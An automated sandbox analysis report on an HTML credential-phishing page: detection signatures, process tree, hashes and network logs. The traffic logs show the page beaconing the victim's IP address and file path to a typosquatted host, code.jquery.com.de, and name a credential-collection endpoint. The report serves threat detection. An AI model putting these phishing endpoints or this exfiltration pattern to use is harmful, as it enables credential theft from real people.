Edit tour

Windows Analysis Report
7095678345.htm (1).htm

Overview

General Information

Sample Name:	7095678345.htm (1).htm
Analysis ID:	634777
MD5:	0a108ea5dc5d42cd0148332d124c7d23
SHA1:	309c5e7cb0fba8b3d788d68631bb7bc17a40d5a8
SHA256:	6fa4627504bde94a97130d3217afec91a300fdfd0e6ae3c999fe532e81818176
Infos:

Detection

HTMLPhisher

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected HtmlPhish10

HTML document with suspicious title

Invalid 'forgot password' link found

HTML body contains low number of good links

Invalid T&C link found

IP address seen in connection with other malware

None HTTPS page querying sensitive user data (password, username or email)

No HTML title found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 2092 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation "C:\Users\user\Desktop\7095678345.htm (1).htm MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 3176 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1628,9509762433040047653,17946527193721714759,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1960 /prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
14170.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

HTTP traffic detected: POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1Host: accounts.google.comConnection: keep-aliveContent-Length: 1Origin: https://www.google.comContent-Type: application/x-www-form-urlencodedSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file:///C:/Users/user/Desktop/7095678345.htm%20(1).htm	HTTP Parser: Invalid link: Forgot my password
Source: file:///C:/Users/user/Desktop/7095678345.htm%20(1).htm	HTTP Parser: Invalid link: Forgot my password

Source: file:///C:/Users/user/Desktop/7095678345.htm%20(1).htm	HTTP Parser: Number of links: 0
Source: file:///C:/Users/user/Desktop/7095678345.htm%20(1).htm	HTTP Parser: Number of links: 0

Source: file:///C:/Users/user/Desktop/7095678345.htm%20(1).htm	HTTP Parser: Invalid link: Terms of use
Source: file:///C:/Users/user/Desktop/7095678345.htm%20(1).htm	HTTP Parser: Invalid link: Privacy & cookies
Source: file:///C:/Users/user/Desktop/7095678345.htm%20(1).htm	HTTP Parser: Invalid link: Terms of use
Source: file:///C:/Users/user/Desktop/7095678345.htm%20(1).htm	HTTP Parser: Invalid link: Privacy & cookies

Source: file:///C:/Users/user/Desktop/7095678345.htm%20(1).htm	HTTP Parser: Has password / email / username input fields
Source: file:///C:/Users/user/Desktop/7095678345.htm%20(1).htm	HTTP Parser: Has password / email / username input fields

Source: file:///C:/Users/user/Desktop/7095678345.htm%20(1).htm	HTTP Parser: HTML title missing
Source: file:///C:/Users/user/Desktop/7095678345.htm%20(1).htm	HTTP Parser: HTML title missing

Source: file:///C:/Users/user/Desktop/7095678345.htm%20(1).htm	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/7095678345.htm%20(1).htm	HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/7095678345.htm%20(1).htm	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/7095678345.htm%20(1).htm	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic			Jump to behavior

Source: Joe Sandbox View	IP Address: 38.34.185.163 38.34.185.163
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768

Source: pnacl_public_x86_64_pnacl_sz_nexe.0.dr, pnacl_public_x86_64_pnacl_llc_nexe.0.dr	String found in binary or memory: http://llvm.org/):
Source: ca2ce562-1e36-452c-9b6c-2b8efb480ecc.tmp.1.dr, 70cd9410-7a4d-4b23-b579-e86033d88524.tmp.1.dr	String found in binary or memory: https://accounts.google.com
Source: craw_window.js.0.dr	String found in binary or memory: https://accounts.google.com/MergeSession
Source: ca2ce562-1e36-452c-9b6c-2b8efb480ecc.tmp.1.dr, 70cd9410-7a4d-4b23-b579-e86033d88524.tmp.1.dr	String found in binary or memory: https://apis.google.com
Source: pnacl_public_x86_64_libpnacl_irt_shim_dummy_a.0.dr	String found in binary or memory: https://chromium.googlesource.com/a/native_client/pnacl-clang.git
Source: pnacl_public_x86_64_libpnacl_irt_shim_dummy_a.0.dr	String found in binary or memory: https://chromium.googlesource.com/a/native_client/pnacl-llvm.git
Source: ca2ce562-1e36-452c-9b6c-2b8efb480ecc.tmp.1.dr, 70cd9410-7a4d-4b23-b579-e86033d88524.tmp.1.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.0.dr, manifest.json.0.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: ca2ce562-1e36-452c-9b6c-2b8efb480ecc.tmp.1.dr, 70cd9410-7a4d-4b23-b579-e86033d88524.tmp.1.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: pnacl_public_x86_64_ld_nexe.0.dr	String found in binary or memory: https://code.google.com/p/nativeclient/issues/entry
Source: pnacl_public_x86_64_ld_nexe.0.dr	String found in binary or memory: https://code.google.com/p/nativeclient/issues/entry%s:
Source: ca2ce562-1e36-452c-9b6c-2b8efb480ecc.tmp.1.dr, 50935733-7990-4d23-add7-44762028dc27.tmp.1.dr, 70cd9410-7a4d-4b23-b579-e86033d88524.tmp.1.dr, 32d7c743-1d8e-4a84-a408-7628fa67b8de.tmp.1.dr	String found in binary or memory: https://dns.google
Source: ca2ce562-1e36-452c-9b6c-2b8efb480ecc.tmp.1.dr, 70cd9410-7a4d-4b23-b579-e86033d88524.tmp.1.dr	String found in binary or memory: https://fonts.googleapis.com
Source: ca2ce562-1e36-452c-9b6c-2b8efb480ecc.tmp.1.dr, 70cd9410-7a4d-4b23-b579-e86033d88524.tmp.1.dr	String found in binary or memory: https://fonts.gstatic.com
Source: craw_window.js.0.dr, craw_background.js.0.dr	String found in binary or memory: https://github.com/google/closure-library/wiki/goog.module:-an-ES6-module-like-alternative-to-goog.p
Source: ca2ce562-1e36-452c-9b6c-2b8efb480ecc.tmp.1.dr, 70cd9410-7a4d-4b23-b579-e86033d88524.tmp.1.dr	String found in binary or memory: https://ogs.google.com
Source: craw_window.js.0.dr, manifest.json.0.dr	String found in binary or memory: https://payments.google.com/payments/v4/js/integrator.js
Source: ca2ce562-1e36-452c-9b6c-2b8efb480ecc.tmp.1.dr	String found in binary or memory: https://r3---sn-1gi7znek.gvt1.com
Source: ca2ce562-1e36-452c-9b6c-2b8efb480ecc.tmp.1.dr	String found in binary or memory: https://redirector.gvt1.com
Source: craw_window.js.0.dr, manifest.json.0.dr	String found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.js
Source: ca2ce562-1e36-452c-9b6c-2b8efb480ecc.tmp.1.dr, 70cd9410-7a4d-4b23-b579-e86033d88524.tmp.1.dr	String found in binary or memory: https://ssl.gstatic.com
Source: 7095678345.htm (1).htm	String found in binary or memory: https://woodstatech.com/DATA.php
Source: craw_window.js.0.dr, craw_background.js.0.dr	String found in binary or memory: https://www-googleapis-staging.sandbox.google.com
Source: ca2ce562-1e36-452c-9b6c-2b8efb480ecc.tmp.1.dr, 70cd9410-7a4d-4b23-b579-e86033d88524.tmp.1.dr	String found in binary or memory: https://www.google.com
Source: manifest.json.0.dr	String found in binary or memory: https://www.google.com/
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/accounts/OAuthLogin?issueuberauth=1
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/images/cleardot.gif
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/images/dot2.gif
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/images/x2.gif
Source: craw_background.js.0.dr	String found in binary or memory: https://www.google.com/intl/en-US/chrome/blank.html
Source: ca2ce562-1e36-452c-9b6c-2b8efb480ecc.tmp.1.dr, craw_window.js.0.dr, craw_background.js.0.dr, 70cd9410-7a4d-4b23-b579-e86033d88524.tmp.1.dr	String found in binary or memory: https://www.googleapis.com
Source: manifest.json.0.dr	String found in binary or memory: https://www.googleapis.com/
Source: manifest.json.0.dr	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore
Source: manifest.json.0.dr	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonly
Source: manifest.json.0.dr	String found in binary or memory: https://www.googleapis.com/auth/sierra
Source: manifest.json.0.dr	String found in binary or memory: https://www.googleapis.com/auth/sierrasandbox
Source: ca2ce562-1e36-452c-9b6c-2b8efb480ecc.tmp.1.dr, 70cd9410-7a4d-4b23-b579-e86033d88524.tmp.1.dr	String found in binary or memory: https://www.gstatic.com

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	3 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	3 Non-Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	4 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	1 Ingress Tool Transfer	SIM Card Swap		Carrier Billing Fraud

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Temp\2092_1861363735\_platform_specific\x86_64\pnacl_public_x86_64_ld_nexe	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\2092_1861363735\_platform_specific\x86_64\pnacl_public_x86_64_ld_nexe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2092_1861363735\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_llc_nexe	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\2092_1861363735\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_llc_nexe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2092_1861363735\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_sz_nexe	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\2092_1861363735\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_sz_nexe	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://dns.google	0%	URL Reputation	safe
https://woodstatech.com/DATA.php	1%	Virustotal		Browse
https://woodstatech.com/DATA.php	0%	Avira URL Cloud	safe
https://code.jquery.com.de/ip.php	0%	Avira URL Cloud	safe
https://code.jquery.com.de/jquery-3.5.1.min.js	0%	Avira URL Cloud	safe
https://code.jquery.com.de/post/index.php?title=Sign%20in%20to%20your%20account&link=file:///C:/Users/user/Desktop/7095678345.htm%20(1).htm&time=2022-5-26%2019:50:1&ip=102.129.143.42%20:%20Switzerland	0%	Avira URL Cloud	safe

Source: global traffic	HTTP traffic detected: GET /jquery-3.5.1.min.js HTTP/1.1Host: code.jquery.com.deConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfmX-Goog-Update-Updater: chromecrx-85.0.4183.121Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ip.php HTTP/1.1Host: code.jquery.com.deConnection: keep-aliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /globalfoundries.com HTTP/1.1Host: logo.clearbit.comConnection: keep-aliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /post/index.php?title=Sign%20in%20to%20your%20account&link=file:///C:/Users/user/Desktop/7095678345.htm%20(1).htm&time=2022-5-26%2019:50:1&ip=102.129.143.42%20:%20Switzerland HTTP/1.1Host: code.jquery.com.deConnection: keep-aliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation "C:\Users\user\Desktop\7095678345.htm (1).htm
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1628,9509762433040047653,17946527193721714759,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1960 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1628,9509762433040047653,17946527193721714759,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1960 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Name	IP	Active	Malicious	Antivirus Detection	Reputation
d26p066pn2w0s0.cloudfront.net	143.204.233.38	true	false		high
accounts.google.com	142.250.203.109	true	false		high
clients.l.google.com	216.58.215.238	true	false		high
code.jquery.com.de	38.34.185.163	true	false	0%, Virustotal, Browse	unknown
clients2.google.com	unknown	unknown	false		high
logo.clearbit.com	unknown	unknown	false		high

Name	Malicious	Antivirus Detection	Reputation
https://code.jquery.com.de/ip.php	false	Avira URL Cloud: safe	unknown
https://clients2.google.com/service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1	false		high
https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard	false		high
file:///C:/Users/user/Desktop/7095678345.htm%20(1).htm	true		low
https://code.jquery.com.de/jquery-3.5.1.min.js	false	Avira URL Cloud: safe	unknown
https://logo.clearbit.com/globalfoundries.com	false		high
https://code.jquery.com.de/post/index.php?title=Sign%20in%20to%20your%20account&link=file:///C:/Users/user/Desktop/7095678345.htm%20(1).htm&time=2022-5-26%2019:50:1&ip=102.129.143.42%20:%20Switzerland	true	Avira URL Cloud: safe	unknown

Name	Source	Malicious	Antivirus Detection	Reputation
https://dns.google	ca2ce562-1e36-452c-9b6c-2b8efb480ecc.tmp.1.dr, 50935733-7990-4d23-add7-44762028dc27.tmp.1.dr, 70cd9410-7a4d-4b23-b579-e86033d88524.tmp.1.dr, 32d7c743-1d8e-4a84-a408-7628fa67b8de.tmp.1.dr	false	URL Reputation: safe	unknown
https://github.com/google/closure-library/wiki/goog.module:-an-ES6-module-like-alternative-to-goog.p	craw_window.js.0.dr, craw_background.js.0.dr	false		high
https://www.google.com/intl/en-US/chrome/blank.html	craw_background.js.0.dr	false		high
https://ogs.google.com	ca2ce562-1e36-452c-9b6c-2b8efb480ecc.tmp.1.dr, 70cd9410-7a4d-4b23-b579-e86033d88524.tmp.1.dr	false		high
https://woodstatech.com/DATA.php	7095678345.htm (1).htm	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.google.com/images/cleardot.gif	craw_window.js.0.dr	false		high
https://payments.google.com/payments/v4/js/integrator.js	craw_window.js.0.dr, manifest.json.0.dr	false		high
https://chromium.googlesource.com/a/native_client/pnacl-llvm.git	pnacl_public_x86_64_libpnacl_irt_shim_dummy_a.0.dr	false		high
https://sandbox.google.com/payments/v4/js/integrator.js	craw_window.js.0.dr, manifest.json.0.dr	false		high
https://www.google.com/images/x2.gif	craw_window.js.0.dr	false		high
https://accounts.google.com/MergeSession	craw_window.js.0.dr	false		high
http://llvm.org/):	pnacl_public_x86_64_pnacl_sz_nexe.0.dr, pnacl_public_x86_64_pnacl_llc_nexe.0.dr	false		high
https://www.google.com	ca2ce562-1e36-452c-9b6c-2b8efb480ecc.tmp.1.dr, 70cd9410-7a4d-4b23-b579-e86033d88524.tmp.1.dr	false		high
https://www.google.com/images/dot2.gif	craw_window.js.0.dr	false		high
https://code.google.com/p/nativeclient/issues/entry%s:	pnacl_public_x86_64_ld_nexe.0.dr	false		high
https://code.google.com/p/nativeclient/issues/entry	pnacl_public_x86_64_ld_nexe.0.dr	false		high
https://accounts.google.com	ca2ce562-1e36-452c-9b6c-2b8efb480ecc.tmp.1.dr, 70cd9410-7a4d-4b23-b579-e86033d88524.tmp.1.dr	false		high
https://clients2.googleusercontent.com	ca2ce562-1e36-452c-9b6c-2b8efb480ecc.tmp.1.dr, 70cd9410-7a4d-4b23-b579-e86033d88524.tmp.1.dr	false		high
https://apis.google.com	ca2ce562-1e36-452c-9b6c-2b8efb480ecc.tmp.1.dr, 70cd9410-7a4d-4b23-b579-e86033d88524.tmp.1.dr	false		high
https://www.google.com/accounts/OAuthLogin?issueuberauth=1	craw_window.js.0.dr	false		high
https://www.google.com/	manifest.json.0.dr	false		high
https://www-googleapis-staging.sandbox.google.com	craw_window.js.0.dr, craw_background.js.0.dr	false		high
https://chromium.googlesource.com/a/native_client/pnacl-clang.git	pnacl_public_x86_64_libpnacl_irt_shim_dummy_a.0.dr	false		high
https://clients2.google.com	ca2ce562-1e36-452c-9b6c-2b8efb480ecc.tmp.1.dr, 70cd9410-7a4d-4b23-b579-e86033d88524.tmp.1.dr	false		high
https://clients2.google.com/service/update2/crx	manifest.json0.0.dr, manifest.json.0.dr	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
216.58.215.238	clients.l.google.com	United States	15169	GOOGLEUS	false
38.34.185.163	code.jquery.com.de	United States	174	COGENT-174US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
143.204.233.38	d26p066pn2w0s0.cloudfront.net	United States	16509	AMAZON-02US	false
142.250.203.109	accounts.google.com	United States	15169	GOOGLEUS	false

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	634777
Start date and time: 26/05/202219:48:35	2022-05-26 19:48:35 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	7095678345.htm (1).htm
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal52.phis.winHTM@27/122@5/8
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .htm Adjust boot time Enable AMSI

Match	Associated Sample Name / URL	SHA 256	Detection	Link
239.255.255.250	http://vade4608fb187.qpostie18.com/track/click/SlC9afG1pBGQGsS3nu0U7pxJdsY/1/aHR0cHM6Ly9jbGF0aWQuaW8vd2ViaW5hci9pcnMtZm9ybS13LTQtOTQxLXF1YXJ0ZXItMi1hbmQtMTA5OS1uZWMtaW4tMjAyMg==/	Get hash	malicious	Browse
	http://vade4608fb187.qpostie18.com/track/click/SlC9afG1pBGQGsS3nu0U7pxJdsY/1/aHR0cHM6Ly9jbGF0aWQuaW8vd2ViaW5hci9pcnMtZm9ybS13LTQtOTQxLXF1YXJ0ZXItMi1hbmQtMTA5OS1uZWMtaW4tMjAyMg==/	Get hash	malicious	Browse
	https://www.extcovdoc125.org/	Get hash	malicious	Browse
	https://bacguidelines.com/	Get hash	malicious	Browse
	Stephanie Lynch-Fax927927-pdf.htm	Get hash	malicious	Browse
	https://blandcaptcha.top/#154285	Get hash	malicious	Browse
	http://blandcaptcha.top	Get hash	malicious	Browse
	http://clothesshesight.xyz	Get hash	malicious	Browse
	SecuriteInfo.com.MSIL.Kryptik.AFGG.1153.exe	Get hash	malicious	Browse
	https://znap.link/payeeportal8738246	Get hash	malicious	Browse
	http://6nreijjndg03nhn.tuarquetipo.com./#aHR0cHM6Ly93d3cuY3ZlZ2ozajg3LnRvcC8/ZW1haWw9YW1pdGFiaGEucmF5QHNjaHJlaWJlcmZvb2RzLmNvbQ==	Get hash	malicious	Browse
	https://nathanu.tk/.well-known/wp-content/smp/excelz/index.php&design=DAFBx6CPpcc	Get hash	malicious	Browse
	https://urlsand.esvalabs.com/?u=https%3A%2F%2Fexpress.adobe.com%2Fpage%2FfeoM5782aYABf%2F&e=d02f10fa&h=34edaf6a&f=y&p=y	Get hash	malicious	Browse
	https://na3.docusign.net/Member/EmailStart.aspx?a=e48f9a7e-7630-4f4a-9e73-9ae4c68238d0&acct=6d128e02-3d7d-42e7-b7c2-14e521db149f&er=ca6b7a2d-cdb3-4ab1-8f2e-072215336210	Get hash	malicious	Browse
	Invoice_payment_confirmation_567.html	Get hash	malicious	Browse
	Purchase_Order.html	Get hash	malicious	Browse
	http://159.223.168.198	Get hash	malicious	Browse
	http://179.60.150.117/data/shi.png	Get hash	malicious	Browse
	http://updates.password-update.com/76aaf4998a4ea5a3?l=13	Get hash	malicious	Browse
	https://apps.redcrossglobal.ga:443/use20/documents/New_RAW.exe	Get hash	malicious	Browse
38.34.185.163	7095678345.htm.htm	Get hash	malicious	Browse
	https://1drv.ms/u/s!ArIiEFePFNY_imzRFhqom7EDR8tK?e=oOCiw8	Get hash	malicious	Browse
	Benefitfocus Payroll Reductions_Agreement.html	Get hash	malicious	Browse
	Benefitfocus Payroll Reductions_Agreement.html	Get hash	malicious	Browse
	https://ice-us-sfo-57081.icedrive.io/download?p=O_HY5fp.ZLf67wk9g83euImDZLXme0m8hfdAJp43vNmHKMCVA5f0QoH_sviz3AsljvTYktcVEglCMJk58gfeha77OclpZRwe_dDYZRk9lyDlsmARLJSN03mB4rTg5sQpSEtrYiUJvhrFQA7RoWRZaveo.AmWbA34gjAtytIw1y9NvnxM2EHs1sAj8NdIvpC.m_rP61ddCWpUAL3nXwKynDLFJCIybO68zMiz7Bb.6.s-	Get hash	malicious	Browse
	Anexo New Schreiber Project Review.htm	Get hash	malicious	Browse
	Anexo New Schreiber Project Review.htm	Get hash	malicious	Browse
	INVOICE03800838-93U8REMIT903904989304.HTML	Get hash	malicious	Browse
	INV_660100.xlsx	Get hash	malicious	Browse
	INV_660100.xlsx	Get hash	malicious	Browse
	Inv-#3D0958275.xlsx	Get hash	malicious	Browse
	Inv-#3D0958275.xlsx	Get hash	malicious	Browse
	invoiceZ013.html	Get hash	malicious	Browse
	Https://bafybeihypv5gujxtrsypbwrrh3ztwiacbv3jq6uu5nt72d6dgvi4wievi4.ipfs.dweb.link/	Get hash	malicious	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
